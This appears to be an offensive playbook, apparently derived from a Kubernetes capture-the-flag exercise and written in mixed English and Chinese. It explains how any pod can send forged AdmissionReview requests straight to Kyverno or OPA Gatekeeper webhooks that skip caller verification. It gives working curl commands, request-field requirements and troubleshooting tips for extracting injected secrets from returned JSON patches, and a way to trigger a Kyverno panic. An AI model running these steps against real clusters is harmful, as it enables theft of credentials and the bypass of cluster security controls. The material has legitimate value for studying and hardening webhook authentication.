k8s-webhook-abuse

Kubernetes Admission Webhook Abuse

K8s Admission Webhook is the gatekeeper of cluster security, responsible for enforcing policies (injecting Secrets, environment variables, etc.) when resources are created/modified. The problem is: many Webhooks do not verify whether the request comes from the API Server. This means an attacker can send forged AdmissionReview requests directly from any Pod to the Webhook, tricking it into returning Secrets that should have been injected into privileged Pods.

正常流程:
  kubectl create pod → API Server → Mutating Webhook → (注入 secret) → 存储

攻击流程:
  攻击者 Pod → 直接 POST 到 Webhook → Webhook 返回 patch（含 secret）

---

Phase 1: Discover Webhook Services

# DNS 扫描发现策略引擎
k8spider scan -subnet <service-cidr>

Common Webhook service names Kyverno: kyverno-svc.kyverno.svc.cluster.local (443) kyverno-cleanup-controller.kyverno.svc.cluster.local OPA Gatekeeper: gatekeeper-webhook-service.gatekeeper-system.svc.cluster.local Custom: -webhook-service. Detect Webhook endpoints

curl -k https://kyverno-svc.kyverno.svc.cluster.local/mutate

A GET request returns "only POST/OPTIONS supported" → indicates the service is reachable and does not verify the source

---

## Phase 2: 构造 AdmissionReview 请求

构造一个假的 Pod 创建请求发给 Webhook，骗它返回 mutation patch。

完整 JSON payload 模板见 → [references/admission-review-template.md](references/admission-review-template.md)

关键字段说明：
- `namespace` — 必须匹配策略的 match 条件（如 `sensitive-ns`），否则 Webhook 不会触发 mutation
- `kind` / `requestKind` — 必须填写，缺失会导致 Kyverno panic
- `operation` — 通常用 `CREATE`
- `object.spec.containers` — 至少包含一个容器定义

### 发送请求

```bash
# 保存 JSON（从 references/admission-review-template.md 获取完整模板）
cat > /tmp/admission.json << 'EOF'
... 完整 JSON ...
EOF

# 发送到 Kyverno mutate 端点
curl -k -X POST \
  -H "Content-Type: application/json" \
  -d @/tmp/admission.json \
  https://kyverno-svc.kyverno.svc.cluster.local/mutate

# 注意事项（踩坑经验）:
# - 必须 HTTPS + -k（自签证书）
# - 必须 Content-Type: application/json
# - 不要加 --http1.1（Kyverno 需要 HTTP/2，否则 stream 断开）
# - namespace 必须匹配策略的 match 条件

---

Phase 3: Parse the returned Patch

In the response, response.patch is a Base64-encoded JSONPatch:

# 从响应中提取 patch
echo '<patch-base64>' | base64 -d | jq .

# 输出示例:
# [{"op":"add","path":"/spec/containers/0/env","value":[{"name":"FLAG","value":"wiz_k8s_lan_party{...}"}]}]

---

Phase 4: Other Webhook attacks

OPA Gatekeeper

For endpoints and request formats, see → references/admission-review-template.md

Kyverno null pointer panic (confirm exploitability)

Send an incomplete AdmissionReview missing requestKind/requestResource , and Kyverno will panic (null pointer dereference). Although this is not directly useful, it can confirm that the Webhook does not verify the caller's identity.

---

Common policy engine endpoints

Engine	Endpoint	Port	Type
Kyverno	/mutate, /validate	443	Mutating + Validating
OPA Gatekeeper	/v1/admit	443	Validating
Custom	/mutate, /validate, /webhook	443/8443	Depends on implementation

---

Key points

• Webhook does not verify the source = any Pod can forge requests
• The patch returned by a Mutating Webhook may contain injected Secrets/Flags/Tokens
• namespace The field must match the policy's match conditions to trigger mutation
• requestKind and requestResource fields cannot be empty (otherwise Kyverno will panic)
• Use HTTP/2 (do not --http1.1), and it must include Content-Type: application/json